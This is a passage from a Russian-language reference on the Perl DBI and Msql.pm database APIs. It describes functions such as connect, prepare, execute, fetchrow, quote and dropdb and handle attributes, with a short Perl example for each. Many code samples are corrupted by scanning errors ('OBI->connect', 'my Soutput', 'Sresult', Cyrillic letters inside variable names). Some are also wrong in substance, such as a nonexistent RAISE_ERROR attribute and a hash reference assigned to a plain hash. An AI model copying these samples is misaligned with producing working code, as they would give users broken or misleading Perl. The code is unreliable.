# После заключения в кавычки и подстановки

# серверу базы данных посылается команда

#INSERT INTO mytable (name) VALUES ('Sheldon's Cycle')

DBI-disconnect

$result = $db->disconnect;

DBI: : disconnect отсоединяет описатель базы данных от сервера баз данных. Для mSQL и MySQL в этом обычно нет необходимости, поскольку эти базы данных не поддерживают транзакций, и неожиданное отсоединение не причинит вреда. Однако от баз данных, поддерживающих транзакции, нужно отсоединяться явным образом. Поэтому, чтобы получить переносимую программу, нужно всегда отсоединяться от базы данных перед выходом. При ошибке во время отсоединения возвращается ненулевое значение, и в $DBI: :errstr устанавливается ошибка.

Пример

use DBI;

my $db1 = DBI->connect( 'DBI:mSQL:mydata',undef,undef);

my $db2 = OBI->connect('DBI:mSQL:mydata2',undef,undef);

$db1->disconnect;

# Соединение 'mydata' разорвано. Соединение с 'mydata2'

# продолжает действовать.

DBI::dump_results

$neat_rows = DBI::dump_results($statement_handle);

$neat_rows = DBI::dump_results($statement_handle, Smaxlen);

$neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep);

$neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep,$field_sep);

$neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep,$field_sep, $file_handle);

DBI: :dump_results выводит содержание описателя команды в удобном и упорядоченном виде, применяя к каждой строке DBI: :neat_string . Функцию удобно использовать для быстрой проверки результатов запроса во время разработки программы. Единственный обязательный аргумент - описатель команды. Второй аргумент, если имеется, задает максимальный размер полей в таблице, по умолчанию равный 35. Третий аргумент задает строку, используемую для разграничения строк данных, по умолчанию- \n. Четвертый аргумент задает строку, используемую для разделения значений полей в строке, по умолчанию используется запятая. Последний аргумент задает ссылку на глобальный описатель файла, в который выводятся результаты. По умолчанию это STDOUT. Если невозможно прочесть описатель команды, возвращается значение undef.

Пример

use DBI;

my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

my Squery = "SELECT name, date FROM myothertable";

my $myothertable_output = $db->prepare($query);

$myothertable_output->execute;

print DBI::dump_results($myothertable_output);

# Вывести результаты в аккуратной таблице.

open(MYOTHERTABLE, ">>myothertable");

print DBI: :dump_results($iriyothertable_output,undef,undef,undef,\*MYOTHERTABLE);

# Снова вывести результаты в файл 'myothertable,'.

$DBI::err

$error_code = $handle->err;

$DBI::err возвращает код последней по времени ошибки DBI. Код ошибки соответствует сообщению об ошибке, возвращаемому функцией $DBI: :errstr. Переменная $DBI: :err выполняет ту же задачу. Эта функция применима с описателями как баз данных, так и команд.

Пример

use DBI;

my $db = DBI->connect('DBI:mysql:mydata','webuser','super_secret_squirrel');

# Этот запрос имеет синтаксическую ошибку...

my Soutput = $db->prepare('SLECT * from mydata');

$output->execute;

if (not $output) {

print "Error $DBI:err: $DBI:errstr\n"; }

$DBI::errstr

$error = $handle->errstr;

Эта функция возвращает сообщение о последней происшедшей ошибке DBI. Значение сохраняется до возникновения новой ошибки, когда оно будет заменено. Если во время данного сеанса ошибок не было, функция возвращает undef. Переменная $DBI: :errstr выполняет ту же задачу. Эта функция применима с описателями как баз данных, так и команд.

Пример

Use DBI;

my $db = DBI->connect('DBI:mysql:mydata','wcbuscr','super_secret_squirrel');

my $error = $db->errstr;

warn("Boj последняя ошибка DBI: $error");

DBI::execute

$rows_affected = $statement_handle->execute;

$rows_affected = $statement_handle->execute(@bind_values);

DBI: : execute выполняет SQL-команду, содержащуюся в описателе команды. Для запроса, не являющегося SELECT, функция возвращает число измененных строк. Функция возвращает -1, если число строк неизвестно. Для запроса типа SELECT при успехе возвращается истинное значение. Если заданы аргументы, они используются для подстановки имеющихся в команде меток-заместителей (см. DBI: : prepare ).

Пример

use DBI;

my $db = DBI->connect('OBI:mSQL:mydata',undef,undef);

my $statement_handle = $db->prepare("SELECT * FROM mytable");

my $statement_handle2 = $db->prepare("SELECT name, date FROM myothertable WHERE name like ?");

$statement_handle->execute;

# Выполнена первая команда.К значениям можно

# обращаться через описатель.

$statement_handle->execute("J%");

# Выполнена вторая команда следующего содержания:

# SELECT name, date FROM myothertable WHERE name like 'J%'

DBI::fetchall_arrayref

$ref_of_array_of_arrays = $statement_handle->fetchall_arrayref;

DBI: :fetchall_arrayref возвращает все оставшиеся данные в описателе команды в виде ссылки на массив. Каждая строка массива - ссылка на другой массив, в котором содержатся данные этой строки. Если в описателе команды нет данных, функция возвращает неопределенное значение undef. Если с этим описателем команды уже выполнялись функции DBI: :fetchrow_ *, то DBI: :fetchall_arrayref возвращает все данные, оставшиеся после последнего обращения к DBI: : fetch row *.

Пример

use DBI;

my $db = DBI->connect('DBI:mSQL:mydata' ,undef,undef);

my $query = "SELECT name, date FROM myothertable";

my Soutput = $db->prepare($query);

$output->execute;

my $data = $output->fetchall_arrayref;

# Теперь $data является ссылкой на массив массивов. Каждый элемент

# 'главного' массива сам является ссылкой на массив, содержащий строку данных.

print "Четвертой строкой данных в таблице является: " . $data->[3][1]. "\n";

# Элемент 3 'главного' массива является массивом, содержащим четвертую

# строку данных, # Элемент 1 этого массива является датой.

DBI::fetchrow_array

@row_of_data = $statement_handle->fetchrow;

DBI: : fetch row возвращает очередную строку данных из описателя команды, созданного DBI: :execute . Каждое последующее обращение к DBI: : fetchrow возвращает очередную строку данных. Когда данных больше нет, функция возвращает неопределенное значение undef. Порядок элементов в результирующем массиве определяется исходным запросом. Если запрос имел вид SELECT * FROM . . . , то элементы следуют в том порядке, в котором они были определены в таблице.

Пример

use DBI;

my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

my $query = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";

my $myothertable_output = $db->prepare($query);

$myothertable_output->execute;

my ($name, $date);

# Это первая строка из $myothertable_output.

($name, $date) = $myothertable_output->fetchrow_array;

# Это следующая строка...

($name, $date) = $myothertable_output->fetchrow_array;

# И еще одна...

my @name_and_date = $myothertable_output->fetchrow_array;

# и т.д.....

DBI::fetchrow_arrayref, DBI::fetch

$аrrау_rеГегепсе = $statement_handle->fetchrow_arrayref;

$array_reference = $statement_handle->fetch;

DBI: : fetchrow_arrayref и ее псевдоним DBI: :fetch работают точно так же, как DBI: :fetchrow_array , но возвращают не фактический массив, а ссылку на него.

Пример

use DBI;

my $db = DBI->connect('DBI:mSQL:mydata', undef, undef);

my $query = "SELECT name, date FROM myothertable WHERE name LIKE -Bob%'";

my $myothertable_output = $db->prepare($query);

$myothertable_output->execute;

my $name1 = $myothertable_output->fetch->[0]

# Это поле 'name' из первой строки данных,

my $date2 = $myothertable_output->fetch->[1]

# Это поле 'date' из второй строки данных.

my ($name3, $date3) = @{$myothertable_output->fetch};

# Это целиком третья строка данных.

$myothertable_output->fetch

# возвращает ссылку на массив. Можно 'преобразовать' ее в действительный

# массив, используя конструкцию @{}.

DBI::fetchrow_hashref

$hash_reference = $statement_handle->fetchrow_hashref;

DBI: :fetchrow_hashref работает так же, как OBI: :fetchrow_arrayref , но возвращает ссылку на ассоциативный, а не на обычный массив. Ключами хэша являются имена полей, а значениями - значения в этой строке данных.

Пример

use DBI;

my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

my $query = "SELECT * FROM mytable";

my $mytable_output = $db->prepare($query);

$mytable_output->execute;

my %row1 = $mytable_ouput->fetchrow_hashref;

my @field_names = keys %row1;

# @field_names содержит теперь имена всех полей в запросе.

# Это делается только один раз. Во всех следующих строках будут те же поля,

my @row1 = values %row1;

DBI::finish

$result = $statement_handle->finish;

DBI:: finish освобождает все данные в описателе команды, чтобы можно было уничтожить описатель или снова подготовить его. Некоторым серверам баз данных это необходимо для освобождения соответствующих ресурсов. DBD::mSQL и DBD::mysql не нуждаются в этой функции, но для переносимости кода следует использовать ее по окончании работы с описателем команды. Функция возвращает неопределенное значение undef, если описатель не удается освободить.

Пример

use DBI;

my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

my $query = "SELECT * FROM mytable";

my $mytable_output = $db->prepare($query);

$mytable_output->execute;

$mytable_output->finish;

# Теперь можно переназначить $mytable_output или подготовить для него

# другую команду SQL.

DBI::func

$handlc->func(@func_argumcnts, $func_name);

@dbs = $db->func("$hostname", '_ListDBs');

@dbs = $db->func("$hostname:Sport", '_ListDBs');

@tables = $db->func('_ListTables');

$result = $drh->func( $database, '_CreateDB' );

Sresult = $drh->func( Sdatabase, '_DropDB' );

DBI::func вызывает специализированные непереносимые функции, включенные в различные драйверы DBD. Она используется с описателем базы данных или описателем команды, в зависимости от назначения специализированной функции. По возможности следует использовать равносильную переносимую функцию. При использовании специализированной функции сначала передаются ее аргументы как скаляр, а затем - имя функции. DBD::mSQL и DBD::mysql реализуют следующие функции:

_ListDBs

Функция _ListDBs принимает имя узла и необязательный номер порта и возвращает список имеющихся у сервера баз данных. Лучше использовать переносимую функцию DBJ::data_sources .

_ListTables

Функция _ListTables возвращает список таблиц, имеющихся в текущей базе данных.

_CreateDB

Функция _CreateDB принимает в качестве аргумента имя базы данных и пытается создать эту базу данных на сервере. Для работы с этой функцией необходимо иметь право создания баз данных. Функция возвращает -1 в случае неудачи и 0 в случае успеха.

_DropDB

Функция _DropDB принимает в качестве аргумента имя базы данных и пытается удалить с сервера эту базу данных. Данная функция не выводит пользователю сообщений и при успешном выполнении удаляет базу данных навсегда. Для работы с этой функцией необходимо иметь право удаления баз данных. Функция возвращает -1 в случае неудачи и 0 в случае успеха.

Пример

use DBI;

my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

my @tables =.$db->func('„List-Tables');

# @tables содержит теперь список таблиц в 'mydata'.

DBI::neat

$neat_string = DBI: :neat($s'tring);

$neat_string = DBI::neat($string, $maxlen);

DBI: : neat Принимает в качестве аргументов строку и необязательную длину. Затем строка форматируется для аккуратного вывода. Вся строка заключается в одиночные кавычки. Непечатаемые символы заменяются точками. Если задан аргумент длины, все символы после максимальной длины удаляются, а строка заканчивается тремя точками (...). Если длина не указана, по умолчанию используется значение 400.

Пример

use DBI;

my $string = "Это очень, очень длинная строка, в которой много чего написано. ";

my$neat_string = OBI: :neat($string,14);

# Теперь $neat_string такая: 'Это очень, оче...

DBI::neat_list

$neat_string = DBI::neat_list(\@listref, $maxlen);

$neat_string = DBI::neat_list(\@listref, $maxlen, $field_seperator);

DBI: :neat_list принимает три аргумента и возвращает аккуратно отформатированную строку, пригодную для вывода. Первый аргумент содержит ссылку на список выводимых значений. Второй аргумент -максимальная длина каждого поля. Последний аргумент - строка, используемая для разделения полей. Для каждого элемента списка вызывается OBI: :neat с использованием заданной максимальной длины. В результирующих строках для разделения полей используется последний аргумент. Если последний аргумент не задан, в качестве разделителя применяется запятая.

Пример

use DBI;

my @list = (' Bob', 'Joe', 'Frank');

my $neat_string = DBI::neat_list(\@list, 3);

# Теперь $neat_string такая: 'Bob', 'Joe', 'Fra...

DBI::prepare

$statement_handle = $db->prepare($statement);

$statement_handle = $db->prepare($statement, \%unused);

DBI: :prepare принимает в качестве аргумента SQL-команду, которую некоторые модули баз данных переводят во внутреннюю компилированную форму, исполняемую быстрее при вызове DBI: : execute . Эти модули DBD (не DBD::mSQL или DBD::mysql) принимают также ссылку на хэш необязательных атрибутов. Серверы mSQL и MySQL в настоящее время не реализуют концепцию подготовки команд, поэтому DBI: : prepare просто запоминает команду. По желанию вместо значений данных в команду можно вставить любое количество символов '?'. Эти символы известны как метки-заместители (placeholders). Функция DBI: : bind_param осуществляет подстановку действительных значений вместо меток-заместителей. Если по какой-либо причине команду нельзя подготовить, функция возвращает undef.

Пример

use DBI;

my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

my $statement_handle = $db->prepare('SELECT * FROM mytable');

# Теперь эта команда готова к выполнению.

My $statement_handle = $db->prepare('SELECT name, date FROM myothertable WHERE name like ?');

# Эта команда будет готовя к выполнению после подстановки # с использованием функции DBI::bind_param.

DBI::quote

$quoted_string = $db->quote($string);

DBI::quote принимает строку для использования в качестве запроса SQL и возвращает ее копию с правильно расставленными для ввода в запрос кавычками, в том числе расставляя корректные кавычки по концам строки.

Пример

use DBI;

my $db1 = DBI->connect('DBI:mSQL:mydata',undef,undef);

my $db2 = DBI->connect('DBI:mysql:myotherdata','me','mypassword');

my $string = "Sheldon's Cycle";

my $qs1 = $db1->quote($string);

# $qs1: 'Sheldon\'s Cycle' (включая наружные кавычки)

my $qs2 = $db2->quote($string);

# $qs2 : 'Sheldon's Cycle' (включая наружные кавычки)

# Теперь обе строки годятся для использования в командах для своих

# соответствующих серверов баз данных.

DBI::rows

$number_of_rows = $statement_handle->rows;

Del: : rows возвращает число строк данных, содержащихся в описателе команды. Для DBD::mSQL и DBD::mysql эта функция дает точное число для всех команд, включая SELECT. Для многих других драйверов, которые не хранят в памяти сразу все результаты, эта функция надежно работает только для команд, не являющихся SELECT. Это следует учитывать при написании переносимых программ. Функция возвращает —1, если по какой-либо причине число строк неизвестно. Переменная $DBI: : rows выполняет ту же задачу.

Пример

use DBI;

my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

my $query = "SELECT name, date FROM myothertable WHERE name='Bob'";

my $myothertable_output = $db->prepare($query);

$myothertable_output->execute;

my $rows = $myotnertable_output->rows;

print "В таблице 'myothertable' есть $rows строк 'Воb'\n";

DBI::state

$sql_error = $handle->state;

DBI: : state возвращает код ошибки SQL SQLSTATE последней по времени ошибки DBI. В данное время DBD::mSQL и DBD^mysql сообщают 'S1000' для всех ошибок. Эта функция доступна для описателей баз данных и команд. Переменная $ОВ1: : state выполняет ту же задачу.

Пример

Use OBI;

my $db = DBI->connect('DBI:mysql:mydata','webuser','super_secret_squirгеl');

my $sql_error = $db->state;

warn("BoT последняя по времени ошибка DBI SQL: $sql_error");

DBI::trace

DBI->trace($trace_level)

DBI->trace($trace_level, $trace_file)

$handle->trace($trace_level);

$handle->trace($trace_level, $trace_file);

DBI:: trace используется в основном для отладки. Если уровень трассировки установлен равным 2, выводится полная отладочная информация. Установка уровня 0 отключает трассировку. DBI->trace осуществляет трассировку для всех описателей, a $handle->trace - только для данного описателя — базы данных или команды. При наличии в DBI- >t race или $handle->trace второго аргумента отладочная информация выводится в указанный файл. Также трассировку можно включить, установив значение переменной окружения DBI_TRACE. Если переменная окружения установлена равной числу (в настоящее время 0 или 2), включается трассировка всех описателей на этом уровне. При другом значении переменной уровень трассировки устанавливается равным 2, а само значение используется в качестве имени файла для вывода отладочной информации.

Пример

use DBI;

my $db1 = DBI->connect('DBI:mysql:mydata','webuser','super_secret_squirrel');

my $db2 = DBI->connect('DBI:mSQL:myotnerdata',undef,undef);

DBI >trace(2);

# Включена трассировка для всех описателей на уровне 2.

$db2->trace(0);

# Отключена трассировка для $db2, но продолжает действовать для $db1

$db1->trace(2,'DBI.trace');

# Теперь включена трассировка для всех описателей на уровне 2, выдача

# посылается в файл 'DBI.trace'.

DBI::commit, DBI::rollback, DBI::ping

$result = $db->commit;

$result = $db->rollback;

Sresult = $db->ping;

DBI: :commit и DBI: : rollback полезны только при работе с серверами, поддерживающими транзакции. При работе с DBD::mSQL и DBD::mysql они не оказывают никакого эффекта. DBD: :ping пытается проверить, запущен ли сервер базы данных. В DBD::mSQL и DBD::mysql она не реализована.

Атрибуты

$db->{AutoCommit}

$handle->{ChopBlanks}

$handle->{CompatMode}

$handle->{InactiveDestroy}

$handle->{LongReadLen}

$handle->{LongTruncOk}

$handle->{PrintError}

$handle->{RaiseError}

$handle->{Warn}

$statement_handle->{CursorName}

$statement_handle->{insertid} (только MySQL)

$statement_handle->{is_blob} (только MySQL)

$statement_handle->{is_key} (только MySQL)

$statement_handle->{is_not_null}

$statement_handle->{is_num}

$statement__handle->{is_pri_key} (только MySQL и mSQL 1.x)

$statement_handle->{length}

$statement_handle->{max_length} (только MySQL)

$statement_handle->{NAME}

$statement_handle-><NULLABLE}

$statement_handle->{NUM_OF_FIELDS}

$statement_handle->{NUM_OF_PARAMS}

$statement_handle->{table}

$statement_handle->{type}

В DBI.pm API определено несколько атрибутов, которые можно читать и устанавливать в любой момент. Присвоение значения атрибуту может определенным образом изменить поведение текущего соединения. Присвоение любого отличного от нуля значения атрибуту устанавливает его. Присвоение значения 0 атрибуту сбрасывает его. Некоторые значения определены только для конкретных баз данных и непереносимы. Ниже следуют атрибуты, применимые как к описателям баз данных, так и к командам.

$db->{AutoCommit}

Этот атрибут оказывает влияние на поведение серверов баз данных, поддерживающих транзакции. Для mSQL и MySQL он всегда должен быть установлен (значение по умолчанию). Попытка изменить его прерывает выполнение программы.

$handle->{ChopBlanks}

При установке этого атрибута отсекаются все ведущие и замыкающие пробелы в данных, возвращаемых запросом (например, при вызове DBI: : fetch row ). Все производные от данного описатели наследуют значение этого атрибута. Значение по умолчанию - «сброшен».

$handle->{InactiveDestroy}

Назначение этого атрибута - сохранить процесс при ветвлении (fork), чтобы дочерний процесс мог пользоваться родительским описателем. Его следует установить в родительском или дочернем процессе, но не в обоих. Значение по умолчанию - «сброшен».

$handle-> {PrintError}

При установке этого атрибута выводятся все предупредительные сообщения. При сброшенном атрибуте доступ к ошибкам осуществляется только через $DBI: :errstr. Все производные от данного описатели наследуют значение этого атрибута. Значение по умолчанию -«установлен».

$handle->{RaiseError}

При установке этого атрибута все ошибки возбуждают в программе исключительные ситуации, прерывая ее выполнение, если не определен обработчик '__DIE__'. Все описатели, производные от этого, наследуют значение этого атрибута. Значение по умолчанию -«сброшен».

$handle->{Warn}

При установке этого атрибута выводятся предупредительные сообщения о неудачных приемах программирования (особенно пережитках Perl 4). Сброс этого атрибута отключает предупреждения DBI, что допустимо только при полной уверенности в своем мастерстве. Все производные от данного описатели (например, описатель команды, происходящий от описателя базы данных) наследуют значение этого атрибута. Значение по умолчанию — «установлен».

$statement_handle->{insertid}

Непереносимый атрибут, определенный только для DBD::mysql. Он возвращает из таблицы текущее значение поля auto_increment (если таковое имеется). Если поле auto_increment не существует, атрибут возвращает undef.

$statement_handle->{is_blob}

Это непереносимый атрибут, определенный только для DBD::mysql. Атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, имеет ли оно тип BLOB. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{is_blob} возвращает undef.

$statement_handle->{is_key}

Непереносимый атрибут, определенный только для DBD::mysql. Он возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, определено ли оно как KEY. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{is_key} возвращает undef.

$statement_handle->{is_not_null}

Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Он возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, определено ли оно как 'NOT NULL' . Для описателя команды, который был создан не выражением SELECT, данный атрибут возвращает undef. Того же результата можно достичь в переносимом виде, используя $statement_handle->{NULLABLE} .

$statement_handle->{is_num}

Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, имеет ли оно числовой тип. Для описателя команды, созданного не выражением SELECT, $statement_handle->{is_num} возвращает undef.

$statement_handle->{is_pri_key}

Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. При использовании с DBD::mSQL он оказывает влияние только для серверов mSQLl.x, поскольку mSQL2.x не использует первичные ключи. Атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, является ли оно первичным ключом.

Для описателя команды, созданного не выражением SELECT, данный атрибут возвращает undef.

$statement_handle->{length}

Непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Этот атрибут возвращает ссылку на список максимально допустимых размеров полей, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{length} возвращает undef.

$statement_handle->{max_length}

Это непереносимый атрибут, определенный только для DBD::mysql. Атрибут возвращает ссылку на список фактических максимальных размеров полей, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, данный атрибут возвращает undef.

$statement_handle->{NAME}

Атрибут возвращает ссылку на список имен полей, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{NAME} возвращает undef.

$statement_handle->{NULLABLE}

Этот атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, может ли оно иметь значение NULL. Поле, определенное как 'NOT NULL', даст в списке значение 0. Остальные поля дадут значение 1. Для описателя команды, созданного не выражением SELECT, атрибут возвращает undef.

$statement_handle->{NUM_OF_FIELDS}

Атрибут возвращает число колонок данных, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{NUM_OF_FIELDS} возвращает 0.

$statement_handle->{NUM_OF_PARAMS}

Этот атрибут возвращает число меток-заместителей в описателе команды. Метки-заместители обозначаются в команде символом '?'. Для подстановки вместо меток-заместителей надлежащих значений используется функция DBI: : bind_values .

$statement_handle->{table}

Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Атрибут возвращает ссылку на список имен таблиц, к которым осуществлялся доступ в запросе. Полезно использовать для SELECT с соединением нескольких таблиц.

$statement_handle->{type}

Непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Он возвращает ссылку на список типов полей, содержащихся в описателе команды. Для описателя команды, созданного не выражением SELECT, $statement_handle->{max_length} возвращает undef. Значениями списка являются целые числа, соответствующие перечислению в заголовочном файле С mysql_com.h из дистрибутива MySQL. Сейчас способа доступа к именам этих типов из DBI не существует. Но доступ к типам возможен через функцию &Mysql: : FIELD_TYPE_ * в Mysql.pm. В DBD::mysql имеется также недокументированный атрибут $statement_handle->{format_type_name} , идентичный $statement_handle- >{type} , за исключением того, что вместо целых чисел возвращает SQL-названия типов. Следует подчеркнуть, что это недокументированный атрибут, и автор DBD::niysql высказал свое намерение убрать его, как только в DBI будет реализована такая же функция.

$statement_handle->{CursorName}

$handle->{l_ongReadLen}

$handle->{l_ongTruncOk}

$handle->{CompatMode}

Все эти атрибуты не поддерживаются в DBD::mSQL и DBD::mysql. Присвоение им значений ничего не даст, а чтение возвратит 0 или undef. Исключение составляет атрибут $statement_handle->{CursorName} . В настоящее время любое обращение к нему «убьет» программу.

Пример

use DBI;

my $db = DBI->connect('mysql:mydata','me','mypassword');

$db->{RAISE_ERROR} = 1;

# Теперь любая ошибка DBI/DBD убьет программу.

my $statement_handle = $db->prepare('SELECT * FROM mytable');

$statement_handle->execute;

my @fields = @{$statement_handle->{NAME}};

# @fields содержит теперь список с именами всех полей в 'mytable'.

Msql.pm API

use Msql

use Msql;

Это объявление должно быть в любой программе Perl, использующей модуль Msql.pm.

Msql::connect

$db = Msql->connect;

$db = Msql->connect($host);

$db = Msql->connect($host, Sdatabase);

Устанавливает соединение между вашей программой на Perl и сервером Msql. У этой функции три версии. При отсутствии аргументов соединение устанавливается с сонетом Unix Msql на локальном узле без указания базы данных. Это наиболее эффективное соединение. Если задан один скалярный аргумент, он рассматривается как имя узла или IP-адрес сервера mSQL. Производится соединение с этим сервером без указания базы данных. Если присутствуют два скалярных аргумента, то первый рассматривается как имя узла сервера mSQL, а второй - как имя требуемой базы данных. Программа устанавливает соединение с указанным сервером и выбирает указанную базу данных. Возвращаемое значение является ссылкой на объект, называемый описателем базы данных (database handle). Вся связь с самим сервером базы данных происходит через этот объект. В случае невозможности установить соединение, все версии функции возвращают undef, и в $Msql: :db_errstr помещается сообщение об ошибке.

Пример

use Msql;

# Соединение с сокетом Unix локального узла ' my $db = Msql->connect;

# Или...

# Соединение с узлом 'www.myserver.com' без указания, базы данных

mу $db = Msql->connect('www.myserver.com');

# Или...

# Соединение с сервером 'www.myserver.com' и выбор базы данных 'mydata'

mу $db = Msql->connect('www.myserver.com','mydata');

Msql::createdb

$result = $db->createdb($database);

Msql: : createdb создает базу данных, имя которой принимает в качестве аргумента. Запрос на создание посылается серверу mSQL. Команда посылается от имени пользователя, запустившего CGT-программу. Поэтому для успешного использования в программе CGI последняя должна быть запущена пользователем, имеющим право создания баз данных. Функция возвращает -1 при неудаче и 0 в случае успеха.

Пример

use Msql;

my $db = Msql->connect;

my $my_new_database = 'mynewdata';

my $result = $db->createdb($my_new_database);

die "База данных не создана!"

if $result == -1;

print "$my_new_database создана.\n";

Msql::database

$database = $db->database;

Msql: database возвращает имя текущей базы данных как скаляр. Функция возвращает undef, если нет выбранной базы данных.

Пример

use Msql;

my $db = Msql->connect('www.myserver.com','mydata');

my $database = $db->database;

print "Здесь должно быть выведено 'mydata': $database\n";

Msql::dropdb

$result = $db->dropdb($database);

Msql: :dropdb принимает в качестве аргумента имя базы данных, которую нужно удалить. Затем она посылает запрос на удаление серверу mSQL. Команда посылается от имени пользователя, запустившего CGI-программу. Поэтому для успешного использования в программе CGI она должна быть запущена пользователем, имеющим право создания баз данных. Функция возвращает -1 при неудаче и 0 в случае успеха. Она не просит подтверждения, и ее результат становится постоянным, поэтому ее следует использовать с крайней осторожностью.

Пример

use Msql;

my $db = Msql->connect;

my $result = $db->dropdb('mydata');

die "Команда не выполнена!"

if result == -1;

print "'mydata' потеряна навсегда.\n";

Msql::errmsg

$error = $db->errmsg:

Msql::errmsg возвращает последнюю по времени ошибку сеанса работы с сервером mSQL. Значение сохраняется, пока не произойдет следующая ошибка, и тогда заменяется новым. Если во время сеанса не произошло ошибки, функция возвращает undef.

Пример

use Msql;

my $db = Msql->connect;

my Serror = $db->errmsg;

warn("Вот последняя по времени ошибка mSQL: $error");

Msql::getsequenceinfo

($step, $value) = $db->getsequenceinfo($table);

Msql: :getsequenceinfo принимает в качестве аргумента имя таблицы. Функция возвращает шаг и значение последовательности, если она определена в таблице. Если в указанной таблице не определена последовательность, то возвращается неопределенное значение undef, и в Msql: :errmsg помещается ошибка.

Пример

use Msql;

my $db = Msql->connect;

my ($step, $value) = $db->getsequenceinfo('mytable');

die "B mytable не задана последовательность" if not $step;

print "B mytable есть последовательность со значением $value и шагом

$step\n";

Msql::host

Shost = $db->host;

Msql: :host возвращает имя узла сервера базы данных как скаляр. Не гарантируется возврат канонического или хотя бы полностью квалифицированного доменного имени. В действительности, хотя это и не документировано, Msql:: host возвращает ту самую строку, которая передавалась серверу при вызове Msql::connect . Это согласуется и с тем, что Msql:: host возвращает undef, если использовалась форма Msql: : connect без аргументов.

Пример

use Msql;

my $ijh - Msql->connect( 'www.myserver.com');

my $host = $db->host;

print "Вероятно, вы видите 'www.myserver.com': $host\n";

Msql::listdbs

@databases = $db->listdbs;

Msql: :listdbs возвращает список имеющихся на сервере баз данных. Если баз данных нет, она возвращает пустой массив.

Пример

use Msql;

my $db = Msql->connect;

my @databases = $db->listdbs;

print "Имеющиеся базы данных:\n\n" . join("\n",@databases);

Msql::listfields

$fields = $db->listfields($table);

Msql:: listf ields принимает в качестве аргумента имя таблицы в текущей базе данных. Она возвращает ссылку на объект, который содержит имена всех полей и некоторые другие сведения. Эта ссылка известна как описатель команды (statement handle). Содержащиеся в нем данные можно извлечь с помощью функций Msql::Statement: :as_string, Msql::Statement: :listindices (только mSQL2.0), Msql: Statement: :numfields , Msql::Statement::table , Msql::Statement::name , Msql::Statement::type , Msql::Statement::isnotnull , Msql::Statement::isprikey , Hsql::Statement::isnum и Msql::Statement: .'length . Если таблицы не существует, функция возвращает неопределенное значение undef, и в Msql: :errmsg помещается ошибка. В описании Msql: :Statement: :fetchhash можно видеть прием, который делает данную функцию несколько устаревшей.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $fields = $db->listfields('mytable');

warn ("Проблемы с 'mytable-': " . $db->errmsg)

if (not $fields);

# $fields явяется ссылкой на все поля в таблице 'mytable'.

print "mytable содержит следующие поля:\n";

print $fields->as_string;

Msql::listindex

@index_handles = $db->listindex($table,$index);

Msql: : listindex принимает в качестве аргументов имена таблицы и индекса и возвращает массив описателей команд, содержащих данные о каждом из индексов. Хотя, согласно документации, эта функция возвращает массив описателей команд, всегда возвращается не более одного описателя. Поэтому, вероятно, можно рассматривать эту функцию как возвращающую скалярный описатель команды. Это описатель в том же стиле, что и возвращаемый Msql::query , и может обрабатываться теми же функциями. Если индекс не существует, возвращается неопределенное значение undef. В возвращаемой таблице данных об индексе одна колонка с именем «Index». В первой строке указан тип индекса, который в mSQL2.0 всегда «avl». Остальные строки суть имена полей, составляющих индекс. Эта функция применима только к mSQL версий 2.0 и выше.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $mytable_fields = $db->listfields('mytable');

my @indices = $mytable_fields->listindices;

# Я знаю имена всех индексов.

foreach (@indices) {

my $index_info_handle = $db->listindex('mytable',$_);

my (@index_info) = $index_info_handle->fetchcol(0);

my $type_of_index = shift(@index_info);

# $type_of_index содержит теперь тип индекса (вероятно, 'avl'),

# a @index_info содержит теперь список полей в индексе.

Msql::listtables

@tables = $db->listtables;

Msql: :listtables возвращает массив таблиц, имеющихся в базе данных. Если в базе данных нет таблиц, функция вернет пустой массив.

Пример

use Msql;

my $db = Msql->connect;

my @tables = $db->listtables;

my $database = $db->database;

print "B $database есть следующие таблицы:\n\n" join("\n",@tables);

Msql::query

$query_output = $db->query($sql_statement);

Msql::query является самой важной и наиболее часто используемой функцией в Msql.pm API. В действительности вы посылаете SQL-запросы серверу базы данных через эту функцию. Функция принимает в качестве аргумента скалярную строку, содержащую SQL-запрос. Если запрос является выражением SELECT, то она возвращает описатель команды, содержащий результаты выполнения запроса. В противном случае функция вернет число строк, измененных запросом. С описателем команды работают те же самые функции, которые были перечислены для Msql:: listf ields (за исключением Msql:: Statement:: listindices ), a также следующие: Msql::Statement: :fetchrow , Msql::Statement::fetched , Msql::Statement::fetchhash , Msql: Statement::numrows , Msql::Statement::maxlength и Msql: Statement: :dataseek . Если по какой-либо причине запрос был неудачным, возвращается значение undef и в Msql: :errmsg помещается ошибка. Каждый описатель команды содержит выходные данные отдельного запроса, поэтому можно послать системе много запросов и работать с каждым описателем команды, когда заблагорассудится.

Пример

use Msql;

